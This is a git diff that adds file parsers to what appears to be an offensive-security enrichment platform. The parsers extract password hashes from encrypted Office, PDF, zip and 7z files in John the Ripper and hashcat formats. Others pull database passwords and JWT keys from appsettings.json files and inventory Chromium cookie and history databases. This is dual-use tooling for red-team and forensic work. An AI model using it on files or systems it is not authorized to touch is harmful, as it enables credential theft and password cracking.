+ if passinfo is None:
+ return 4
+ else:
+ sppt = ole.openstream("Current User")
+ offset = find_ppt_type(filename, sppt)
+ sppt = ole.openstream("PowerPoint Document")
+ ret = find_rc4_passinfo_ppt(filename, sppt, offset)
+ if not ret:
+ find_rc4_passinfo_ppt_bf(filename, sppt, offset)
+
+ return 6
+
+ (salt, verifier, verifierHash) = passinfo
+
+ summary_extra = ""
+ # if have_summary:
+ # summary_extra = ":::%s::%s" % (summary, filename)
+
+ if hashcat_format:
+ sys.stdout.write("$oldoffice$%s*%s*%s*%s%s\n" % (typ, binascii.hexlify(salt).decode("ascii"), binascii.hexlify(verifier).decode("ascii"), binascii.hexlify(verifierHash).decode("ascii"), summary_extra))
+ else:
+ sys.stdout.write("%s:$oldoffice$%s*%s*%s*%s%s\n" % (os.path.basename(filename), typ, binascii.hexlify(salt).decode("ascii"), binascii.hexlify(verifier).decode("ascii"), binascii.hexlify(verifierHash).decode("ascii"), summary_extra))
+
+ workbookStream.close()
+ ole.close()
+
+ return 0
+
+
+def extract_file_encryption_hash(filename, hashcat_format=True):
+
+ with io.StringIO() as buf, redirect_stdout(buf):
+ process_file(filename, hashcat_format)
+ return buf.getvalue().strip()
+
+
+# if __name__ == "__main__":
+# if len(sys.argv) < 2:
+# sys.stderr.write("Usage: %s \n" % sys.argv[0])
+# sys.exit(1)
+
+# # set_debug_mode(1)
+
+# for i in range(1, len(sys.argv)):
+# if not PY3:
+# ret = process_file_string(sys.argv[i].decode("utf8"))
+# else:
+# ret = process_file_string(sys.argv[i])
diff --git a/cmd/enrichment/enrichment/lib/ext_tools/pdf2john.py b/cmd/enrichment/enrichment/lib/ext_tools/pdf2john.py
new file mode 100644
index 0000000..3c8ff79
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/ext_tools/pdf2john.py
@@ -0,0 +1,334 @@
+#!/usr/bin/env python
+
+# Pulled from https://github.com/truongkma/ctf-tools/blob/74dc2d959b7305bb859721cfa7af83ca3973a1c8/John/run/pdf2john.py
+# Copyright (c) 2013 Shane Quigley, < shane at softwareontheside.info >
+# Small modifications on exact formatting of output
+
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import re
+import sys
+import os
+from xml.dom import minidom
+
+PY3 = sys.version_info[0] == 3
+
+class PdfParser:
+ def __init__(self, file_name):
+ self.file_name = file_name
+ f = open(file_name, 'rb')
+ self.encrypted = f.read()
+ f.close()
+ self.process = True
+ psr = re.compile(b'PDF-\d\.\d')
+ try:
+ self.pdf_spec = psr.findall(self.encrypted)[0]
+ except IndexError:
+ sys.stderr.write("%s is not a PDF file!\n" % file_name)
+ self.process = False
+
+ def parse(self):
+ if not self.process:
+ return
+
+ try:
+ trailer = self.get_trailer()
+ except RuntimeError:
+ e = sys.exc_info()[1]
+ sys.stderr.write("%s : %s\n" % (self.file_name, str(e)))
+ return
+ # print >> sys.stderr, trailer
+ object_id = self.get_object_id(b'Encrypt', trailer)
+ # print >> sys.stderr, object_id
+ if(len(object_id) == 0):
+ raise RuntimeError("Could not find object id")
+ encryption_dictionary = self.get_encryption_dictionary(object_id)
+ # print >> sys.stderr, encryption_dictionary
+ dr = re.compile(b'\d+')
+ vr = re.compile(b'\/V \d')
+ rr = re.compile(b'\/R \d')
+ try:
+ v = dr.findall(vr.findall(encryption_dictionary)[0])[0]
+ except IndexError:
+ raise RuntimeError("Could not find /V")
+ r = dr.findall(rr.findall(encryption_dictionary)[0])[0]
+ lr = re.compile(b'\/Length \d+')
+ longest = 0
+ # According to the docs:
+ # Length : (Optional; PDF 1.4; only if V is 2 or 3). Default value: 40
+ length = b'40'
+ for le in lr.findall(encryption_dictionary):
+ if(int(dr.findall(le)[0]) > longest):
+ longest = int(dr.findall(le)[0])
+ length = dr.findall(le)[0]
+ pr = re.compile(b'\/P -?\d+')
+ try:
+ p = pr.findall(encryption_dictionary)[0]
+ except IndexError:
+ # print >> sys.stderr, "** dict:", encryption_dictionary
+ raise RuntimeError("Could not find /P")
+ pr = re.compile(b'-?\d+')
+ p = pr.findall(p)[0]
+ meta = '1' if self.is_meta_data_encrypted(encryption_dictionary) else '0'
+ idr = re.compile(b'\/ID\s*\[\s*<\w+>\s*<\w+>\s*\]')
+ try:
+ i_d = idr.findall(trailer)[0] # id key word
+ except IndexError:
+ # some pdf files use () instead of <>
+ idr = re.compile(b'\/ID\s*\[\s*\(\w+\)\s*\(\w+\)\s*\]')
+ try:
+ i_d = idr.findall(trailer)[0] # id key word
+ except IndexError:
+ # print >> sys.stderr, "** idr:", idr
+ # print >> sys.stderr, "** trailer:", trailer
+ raise RuntimeError("Could not find /ID tag")
+ return
+ idr = re.compile(b'<\w+>')
+ try:
+ i_d = idr.findall(trailer)[0]
+ except IndexError:
+ idr = re.compile(b'\(\w+\)')
+ i_d = idr.findall(trailer)[0]
+ i_d = i_d.replace(b'<',b'')
+ i_d = i_d.replace(b'>',b'')
+ i_d = i_d.lower()
+ passwords = self.get_passwords_for_JtR(encryption_dictionary)
+
+ if passwords and len(passwords) > 0:
+ output = '$pdf$'+v.decode('ascii')+'*'+r.decode('ascii')+'*'+length.decode('ascii')+'*'
+ output += p.decode('ascii')+'*'+meta+'*'
+ output += str(int(len(i_d)/2))+'*'+i_d.decode('ascii')+'*'+passwords
+ return f"{output}"
+
+ # if(self.is_meta_data_encrypted(encryption_dictionary)):
+ # sys.stdout.write("%s:%s:::::%s\n" % (os.path.basename(self.file_name.encode('UTF-8')), output.encode('UTF-8'), self.file_name.encode('UTF-8')))
+ # else:
+ # gecos = self.parse_meta_data(trailer)
+ # sys.stdout.write("%s:%s:::%s::%s\n" % (os.path.basename(self.file_name.encode('UTF-8')), output.encode('UTF-8'), gecos.encode('UTF-8'), self.file_name.encode('UTF-8')))
+
+ def get_passwords_for_JtR(self, encryption_dictionary):
+ output = ""
+ letters = [b"U", b"O"]
+ if(b"1.7" in self.pdf_spec):
+ letters = [b"U", b"O", b"UE", b"OE"]
+ for let in letters:
+ pr_str = b'\/' + let + b'\s*\([^)]+\)'
+ pr = re.compile(pr_str)
+ pas = pr.findall(encryption_dictionary)
+ if(len(pas) > 0):
+ pas = pr.findall(encryption_dictionary)[0]
+ # because regexs in python suck <=== LOL
+ while(pas[-2] == b'\\'):
+ pr_str += b'[^)]+\)'
+ pr = re.compile(pr_str)
+ # print >> sys.stderr, "pr_str:", pr_str
+ # print >> sys.stderr, encryption_dictionary
+ try:
+ pas = pr.findall(encryption_dictionary)[0]
+ except IndexError:
+ break
+ output += self.get_password_from_byte_string(pas)+"*"
+ else:
+ pr = re.compile(let + b'\s*<\w+>')
+ pas = pr.findall(encryption_dictionary)
+ if not pas:
+ continue
+ pas = pas[0]
+ pr = re.compile(b'<\w+>')
+ pas = pr.findall(pas)[0]
+ pas = pas.replace(b"<",b"")
+ pas = pas.replace(b">",b"")
+ if PY3:
+ output += str(int(len(pas)/2))+'*'+str(pas.lower(),'ascii')+'*'
+ else:
+ output += str(int(len(pas)/2))+'*'+pas.lower()+'*'
+ return output[:-1]
+
+ def is_meta_data_encrypted(self, encryption_dictionary):
+ mr = re.compile(b'\/EncryptMetadata\s\w+')
+ if(len(mr.findall(encryption_dictionary)) > 0):
+ wr = re.compile(b'\w+')
+ is_encrypted = wr.findall(mr.findall(encryption_dictionary)[0])[-1]
+ if(is_encrypted == b"false"):
+ return False
+ else:
+ return True
+ else:
+ return True
+
+ def parse_meta_data(self, trailer):
+ root_object_id = self.get_object_id(b'Root', trailer)
+ root_object = self.get_pdf_object(root_object_id)
+ object_id = self.get_object_id(b'Metadata', root_object)
+ xmp_metadata_object = self.get_pdf_object(object_id)
+ return self.get_xmp_values(xmp_metadata_object)
+
+ def get_xmp_values(self, xmp_metadata_object):
+ xmp_metadata_object = xmp_metadata_object.partition(b"stream")[2]
+ xmp_metadata_object = xmp_metadata_object.partition(b"endstream")[0]
+ try:
+ xml_metadata = minidom.parseString(xmp_metadata_object)
+ except:
+ return ""
+ values = []
+ values.append(self.get_dc_value("title", xml_metadata))
+ values.append(self.get_dc_value("creator", xml_metadata))
+ values.append(self.get_dc_value("description", xml_metadata))
+ values.append(self.get_dc_value("subject", xml_metadata))
+ created_year = xml_metadata.getElementsByTagName("xmp:CreateDate")
+ if(len(created_year) > 0):
+ created_year = created_year[0].firstChild.data[0:4]
+ values.append(str(created_year))
+ return " ".join(values).replace(":", "")
+
+ def get_dc_value(self, value, xml_metadata):
+ output = xml_metadata.getElementsByTagName("dc:"+value)
+ if(len(output) > 0):
+ output = output[0]
+ output = output.getElementsByTagName("rdf:li")[0]
+ if(output.firstChild):
+ output = output.firstChild.data
+ return output
+ return ""
+
+ def get_encryption_dictionary(self, object_id):
+ encryption_dictionary = self.get_pdf_object(object_id)
+ for o in encryption_dictionary.split(b"endobj"):
+ if(object_id+b" obj" in o):
+ encryption_dictionary = o
+ return encryption_dictionary
+
+ def get_object_id(self, name , trailer):
+ oir = re.compile(b'\/' + name + b'\s\d+\s\d\sR')
+ try:
+ object_id = oir.findall(trailer)[0]
+ except IndexError:
+ # print >> sys.stderr, " ** get_object_id: name \"", name, "\", trailer ", trailer
+ return ""
+ oir = re.compile(b'\d+ \d')
+ object_id = oir.findall(object_id)[0]
+ return object_id
+
+ def get_pdf_object(self, object_id):
+ output = object_id+b" obj" + \
+ self.encrypted.partition(b"\r"+object_id+b" obj")[2]
+ if(output == object_id+b" obj"):
+ output = object_id+b" obj" + \
+ self.encrypted.partition(b"\n"+object_id+b" obj")[2]
+ output = output.partition(b"endobj")[0] + b"endobj"
+ # print >> sys.stderr, output
+ return output
+
+ def get_trailer(self):
+ trailer = self.get_data_between(b"trailer", b">>", b"/ID")
+ if(trailer == b""):
+ trailer = self.get_data_between(b"DecodeParms", b"stream", b"")
+ if(trailer == ""):
+ raise RuntimeError("Can't find trailer")
+ if(trailer != "" and trailer.find(b"Encrypt") == -1):
+ # print >> sys.stderr, trailer
+ raise RuntimeError("File not encrypted")
+ return trailer
+
+ def get_data_between(self, s1, s2, tag):
+ output = b""
+ inside_first = False
+ lines = re.split(b'\n|\r', self.encrypted)
+ for line in lines:
+ inside_first = inside_first or line.find(s1) != -1
+ if(inside_first):
+ output += line
+ if(line.find(s2) != -1):
+ if(tag == b"" or output.find(tag) != -1):
+ break
+ else:
+ output = b""
+ inside_first = False
+ return output
+
+ def get_hex_byte(self, o_or_u, i):
+ if PY3:
+ return hex(o_or_u[i]).replace('0x', '')
+ else:
+ return hex(ord(o_or_u[i])).replace('0x', '')
+
+ def get_password_from_byte_string(self, o_or_u):
+ pas = ""
+ escape_seq = False
+ escapes = 0
+ excluded_indexes = [0, 1, 2]
+ #For UE & OE in 1.7 spec
+ if not PY3:
+ if(o_or_u[2] != '('):
+ excluded_indexes.append(3)
+ else:
+ if(o_or_u[2] != 40):
+ excluded_indexes.append(3)
+ for i in range(len(o_or_u)):
+ if(i not in excluded_indexes):
+ if(len(self.get_hex_byte(o_or_u, i)) == 1 \
+ and o_or_u[i] != "\\"[0]):
+ pas += "0" # need to be 2 digit hex numbers
+ is_back_slash = True
+ if not PY3:
+ is_back_slash = o_or_u[i] != "\\"[0]
+ else:
+ is_back_slash = o_or_u[i] != 92
+ if(is_back_slash or escape_seq):
+ if(escape_seq):
+ if not PY3:
+ esc = "\\"+o_or_u[i]
+ else:
+ esc = "\\"+chr(o_or_u[i])
+ esc = self.unescape(esc)
+ if(len(hex(ord(esc[0])).replace('0x', '')) == 1):
+ pas += "0"
+ pas += hex(ord(esc[0])).replace('0x', '')
+ escape_seq = False
+ else:
+ pas += self.get_hex_byte(o_or_u, i)
+ else:
+ escape_seq = True
+ escapes += 1
+ output = len(o_or_u)-(len(excluded_indexes)+1)-escapes
+ return str(output)+'*'+pas[:-2]
+
+ def unescape(self, esc):
+ escape_seq_map = {'\\n':"\n", '\\s':"\s", '\\e':"\e",
+ '\\r':"\r", '\\t':"\t", '\\v':"\v", '\\f':"\f",
+ '\\b':"\b", '\\a':"\a", "\\)":")",
+ "\\(":"(", "\\\\":"\\" }
+
+ return escape_seq_map[esc]
+
+# if __name__ == "__main__":
+# if len(sys.argv) < 2:
+# sys.exit(-1)
+# for j in range(1, len(sys.argv)):
+# if not PY3:
+# filename = sys.argv[j].decode('UTF-8')
+# else:
+# filename = sys.argv[j]
+# # sys.stderr.write("Analyzing %s\n" % sys.argv[j].decode('UTF-8'))
+# parser = PdfParser(filename)
+# try:
+# print(parser.parse())
+# except RuntimeError:
+# e = sys.exc_info()[1]
+# sys.stderr.write("%s : %s\n" % (filename, str(e)))
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/Meta.py b/cmd/enrichment/enrichment/lib/file_parsers/Meta.py
new file mode 100644
index 0000000..2ed5823
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/Meta.py
@@ -0,0 +1,38 @@
+# Standard Libraries
+from abc import ABC, abstractmethod
+
+# 3rd Party Libraries
+# import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+
+
+class FileType(ABC):
+ def __new__(cls, *args, **kwargs):
+ if cls is pb.FileDataEnriched:
+ raise TypeError(f"TypeError: Can't instantiate abstract class %s directly".format(name=cls.__name__))
+ return object.__new__(cls)
+
+ @abstractmethod
+ def __init__(self, file: pb.FileDataEnriched):
+ pass
+
+ @abstractmethod
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ pass
+
+ @abstractmethod
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+ pass
+
+ @abstractmethod
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+ pass
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/appsettings.py b/cmd/enrichment/enrichment/lib/file_parsers/appsettings.py
new file mode 100644
index 0000000..92927a0
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/appsettings.py
@@ -0,0 +1,150 @@
+# Standard Libraries
+import json
+import os
+import re
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+import structlog
+
+logger = structlog.get_logger(module=__name__)
+
+
+def parenthetic_contents(string):
+ stack = []
+ for i, c in enumerate(string):
+ if c == "(":
+ stack.append(i)
+ elif c == ")" and stack:
+ start = stack.pop()
+ s = string[start + 1 : i]
+ temp = s.split("=")
+ if len(temp) == 1:
+ yield (temp[0], "")
+ else:
+ yield (temp[0], temp[1])
+
+
+class appsettings(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ regex_string = ".*/.*(appsettings).*\\.json"
+ return re.search(regex_string, self.file_data.path, re.IGNORECASE) is not None
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+ if os.path.getsize(self.file_path) > 1000000:
+ return False
+
+ return helpers.scan_with_yara(self.file_path, "appsettings")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+
+ parsed_data = pb.ParsedData()
+ auth_data_msg = pb.AuthenticationDataIngestionMessage()
+
+ try:
+ auth_data_msg.metadata.CopyFrom(self.metadata)
+
+ with open(self.file_path, "r") as f:
+ json_data = json.loads(f.read())
+
+ if "ConnectionStrings" in json_data:
+ for key in json_data["ConnectionStrings"].keys():
+ try:
+ connection_string_raw = json_data["ConnectionStrings"][key]
+
+ connection_string = parsed_data.appsettings.connection_strings.add()
+ connection_string.name = key
+
+ for part in connection_string_raw.split(";"):
+ # special exception for Oracle
+ temp = part.split(")(")
+ if len(temp) > 3:
+ contents = list(parenthetic_contents(part))
+ for content in contents:
+ if content[0].lower() == "host":
+ connection_string.database_credential.server = content[1]
+ elif content[0].lower() == "port":
+ connection_string.database_credential.server = f"{connection_string.database_credential.server}:{content[1]}"
+ elif content[0].lower() == "service_name":
+ connection_string.database_credential.database = content[1]
+ else:
+ temp = part.split("=")
+ if len(temp) > 1:
+ key = temp[0]
+ value = "=".join(temp[1:])
+ if re.match("^(User Id|UID)$", key, re.IGNORECASE):
+ connection_string.database_credential.username = value
+ elif re.match("^(Server|HOST|Data Source)$", key, re.IGNORECASE):
+ connection_string.database_credential.server = value
+ elif re.match("^(port)$", key, re.IGNORECASE):
+ connection_string.database_credential.server = f"{connection_string.database_credential.server}:{value}"
+ elif re.match("^Database$", key, re.IGNORECASE):
+ connection_string.database_credential.database = value
+ elif re.match("^(password|PWD)$", key, re.IGNORECASE):
+ connection_string.database_credential.password = value
+ if value != "":
+ # signal that we do have parsed credentials
+ parsed_data.has_parsed_credentials = True
+
+ if connection_string.database_credential.server and connection_string.database_credential.username and connection_string.database_credential.password:
+ auth_data = auth_data_msg.data.add()
+ auth_data.data = connection_string.database_credential.password
+ auth_data.type = "password"
+ if connection_string.database_credential.database:
+ auth_data.uri = f"db://{connection_string.database_credential.server}/{connection_string.database_credential.database}"
+ else:
+ auth_data.uri = f"db://{connection_string.database_credential.server}"
+ auth_data.username = connection_string.database_credential.database
+ auth_data.notes = "database credential parsed from file_processor->appsettings"
+ auth_data.originating_object_id = self.file_data.object_id
+
+ except Exception as e:
+ logger.exception(e, message="appsettings.py parse() error on ConnectionString")
+
+ elif "JwtToken" in json_data:
+ try:
+ jwt_token_data = json_data["JwtToken"]
+ jwt_token = parsed_data.appsettings.jwt_tokens.add()
+
+ auth_data = auth_data_msg.data.add()
+ auth_data.type = "password"
+ auth_data.data = jwt_token_data
+ auth_data.notes = "JWT parsed from file_processor->appsettings"
+ auth_data.originating_object_id = self.file_data.object_id
+
+ if "key" in jwt_token_data:
+ jwt_token.key = jwt_token_data["key"]
+ if "issuer" in jwt_token_data:
+ jwt_token.issuer = jwt_token_data["issuer"]
+ if "audience" in jwt_token_data:
+ jwt_token.audience = jwt_token_data["audience"]
+ if "minutestoexpiration" in jwt_token_data:
+ jwt_token.minutes_to_expiration = jwt_token_data["minutestoexpiration"]
+
+ except Exception as e:
+ logger.exception(e, message="appsettings.py parse() error on JwtToken")
+
+ return (parsed_data, auth_data_msg)
+
+ except Exception as e:
+ logger.exception(e, message="appsettings.py parse() error", file_uuid=self.file_data.object_id, auth_data=auth_data_msg)
+ return (helpers.nemesis_parsed_data_error(f"error parsing appsettings file {self.file_data.object_id} : {e}"), auth_data_msg)
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/archive.py b/cmd/enrichment/enrichment/lib/file_parsers/archive.py
new file mode 100644
index 0000000..661ceee
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/archive.py
@@ -0,0 +1,157 @@
+# Standard Libraries
+import datetime
+import ntpath
+import re
+import subprocess
+import zipfile
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+import py7zr
+
+
+class archive(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+
+ if re.match(".*\.(zip|tar\.gz|7z)$", self.file_data.path):
+ return True
+ else:
+ return False
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria
+ using the associated Yara rule.
+ """
+
+ return helpers.is_archive(self.file_path)
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+
+ if zipfile.is_zipfile(self.file_path):
+ return self.parse_zip()
+ elif py7zr.is_7zfile(self.file_path):
+ return self.parse_7z()
+ else:
+ return (helpers.nemesis_parsed_data_error(f"file is not a supported archive: {self.file_data.object_id}"), pb.AuthenticationDataIngestionMessage())
+
+ def parse_zip(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Helper to parse a file zip.
+ """
+
+ parsed_data = pb.ParsedData()
+ auth_data_msg = pb.AuthenticationDataIngestionMessage()
+
+ try:
+ auth_data_msg.metadata.CopyFrom(self.metadata)
+ parsed_data.archive.type = "zip"
+ parsed_data.archive.uncompressed_size = helpers.get_archive_size(self.file_path)
+ enc_file_path = ""
+
+ with zipfile.ZipFile(self.file_path, "r") as zipObj:
+ for elem in zipObj.infolist():
+ entry = parsed_data.archive.entries.add()
+ entry.name = elem.filename
+ entry.is_dir = elem.is_dir()
+ entry.last_modified.FromDatetime(datetime.datetime(*elem.date_time))
+ entry.compress_size = elem.compress_size
+ entry.uncompress_size = elem.file_size
+
+ # ref https://hg.python.org/cpython/file/2.7/Lib/zipfile.py#l985
+ # if we don't already have a hash extracted, and this elem is a file and encrypted
+ if not parsed_data.archive.is_encrypted and not elem.is_dir() and elem.flag_bits & 0x1:
+ parsed_data.is_encrypted = True
+ parsed_data.archive.is_encrypted = True
+ # save this path so we can efficiently use zip2john on just this file
+ # instead of iterating over several internal files
+ enc_file_path = elem.filename
+
+ if parsed_data.archive.is_encrypted and enc_file_path != "":
+ result = subprocess.run(
+ ["/opt/john/run/zip2john", self.file_path, "-o", enc_file_path],
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ )
+ jtr_output = result.stdout.decode("utf-8").strip()
+
+ # valid results start with ID/subfile
+ if jtr_output.startswith(f"{ntpath.basename(self.file_path)}/{enc_file_path}"):
+ parsed_data.archive.encryption_hash = jtr_output
+
+ auth_data = auth_data_msg.data.add()
+ auth_data.data = parsed_data.archive.encryption_hash
+ auth_data.type = "hash_archive"
+ auth_data.notes = "hash extracted from file_processor->archive"
+ auth_data.originating_object_id = self.file_data.object_id
+
+ return (parsed_data, auth_data_msg)
+
+ except Exception as e:
+ return (helpers.nemesis_parsed_data_error(f"error parsing zip file {self.file_data.object_id} : {e}"), auth_data_msg)
+
+ def parse_7z(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Helper to parse a 7zip file.
+ """
+
+ parsed_data = pb.ParsedData()
+ auth_data_msg = pb.AuthenticationDataIngestionMessage()
+
+ try:
+ auth_data_msg.metadata.CopyFrom(self.metadata)
+ parsed_data.archive.uncompressed_size = helpers.get_archive_size(self.file_path)
+ parsed_data.archive.type = "7z"
+
+ with py7zr.SevenZipFile(self.file_path, "r") as zipObj:
+ parsed_data.is_encrypted = zipObj.password_protected
+ parsed_data.archive.is_encrypted = zipObj.password_protected
+
+ for elem in zipObj.files:
+ entry = parsed_data.archive.entries.add()
+ entry.name = elem.filename
+ entry.is_dir = elem.is_directory
+ if elem.lastwritetime:
+ entry.last_modified.FromDatetime(elem.lastwritetime.as_datetime())
+ if elem.compressed:
+ entry.compress_size = elem.compressed
+ if elem.uncompressed:
+ entry.uncompress_size = elem.uncompressed
+
+ if parsed_data.archive.is_encrypted:
+ result = subprocess.run(
+ ["/opt/john/run/7z2john.pl", self.file_path],
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ )
+ jtr_output = result.stdout.decode("utf-8").strip()
+
+ if jtr_output.startswith(f"{ntpath.basename(self.file_path)}"):
+ parsed_data.archive.encryption_hash = jtr_output
+
+ auth_data = auth_data_msg.data.add()
+ auth_data.data = parsed_data.archive.encryption_hash
+ auth_data.type = "hash_archive"
+ auth_data.notes = "hash extracted from file_processor->archive"
+ auth_data.originating_object_id = self.file_data.object_id
+
+ return (parsed_data, auth_data_msg)
+
+ except Exception as e:
+ return (helpers.nemesis_parsed_data_error(f"error parsing 7z file {self.file_data.object_id} : {e}"), auth_data_msg)
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/chromium_cookies.py b/cmd/enrichment/enrichment/lib/file_parsers/chromium_cookies.py
new file mode 100644
index 0000000..bee99ee
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/chromium_cookies.py
@@ -0,0 +1,62 @@
+# Standard Libraries
+import sqlite3
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+
+
+class chromium_cookies(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path)
+ if chromium_file_path.success and chromium_file_path.file_type == "cookies":
+ return True
+ else:
+ return False
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria
+ using the associated Yara rule.
+ """
+ return helpers.scan_with_yara(self.file_path, "chromium_cookies")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage] | pb.ParsedData:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+ # build protobuf w/o the actual entries, detect/reprocess on the file side
+
+ parsed_data = pb.ParsedData()
+
+ chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path)
+ parsed_data.chromium_cookies.user_data_directory = chromium_file_path.user_data_directory
+ parsed_data.chromium_cookies.browser = chromium_file_path.browser
+ parsed_data.chromium_cookies.username = chromium_file_path.username
+
+ try:
+ with sqlite3.connect(self.file_path) as con:
+ cur = con.cursor()
+ res = cur.execute("SELECT Count(*) FROM cookies")
+ cookies_count = res.fetchone()
+ if cookies_count:
+ parsed_data.chromium_cookies.cookies_count = cookies_count[0]
+ return (parsed_data, pb.AuthenticationDataIngestionMessage())
+
+ except Exception as e:
+ return (
+ helpers.nemesis_parsed_data_error(f"error parsing Chromium 'Cookies' file {self.file_data.object_id} : {e}"),
+ pb.AuthenticationDataIngestionMessage(),
+ )
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/chromium_history.py b/cmd/enrichment/enrichment/lib/file_parsers/chromium_history.py
new file mode 100644
index 0000000..9e71eae
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/chromium_history.py
@@ -0,0 +1,67 @@
+# Standard Libraries
+import sqlite3
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+
+
+class chromium_history(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path)
+ if chromium_file_path.success and chromium_file_path.file_type == "history":
+ return True
+ else:
+ return False
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria
+ using the associated Yara rule.
+ """
+ return helpers.scan_with_yara(self.file_path, "chromium_history")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage] | pb.ParsedData:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+ # build protobuf w/o the actual entries, detect/reprocess on the file side
+
+ parsed_data = pb.ParsedData()
+
+ chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path)
+ parsed_data.chromium_history.user_data_directory = chromium_file_path.user_data_directory
+ parsed_data.chromium_history.browser = chromium_file_path.browser
+ parsed_data.chromium_history.username = chromium_file_path.username
+
+ try:
+ with sqlite3.connect(self.file_path) as con:
+ cur = con.cursor()
+ res = cur.execute("SELECT Count(*) FROM urls")
+ urls_count = res.fetchone()
+ if urls_count:
+ parsed_data.chromium_history.urls_count = urls_count[0]
+ res = cur.execute("SELECT Count(*) FROM downloads")
+ downloads_count = res.fetchone()
+ if downloads_count:
+ parsed_data.chromium_history.downloads_count = downloads_count[0]
+
+ return (parsed_data, pb.AuthenticationDataIngestionMessage())
+
+ except Exception as e:
+ return (
+ helpers.nemesis_parsed_data_error(f"error parsing Chromium 'History' file {self.file_data.object_id} : {e}"),
+ pb.AuthenticationDataIngestionMessage(),
+ )
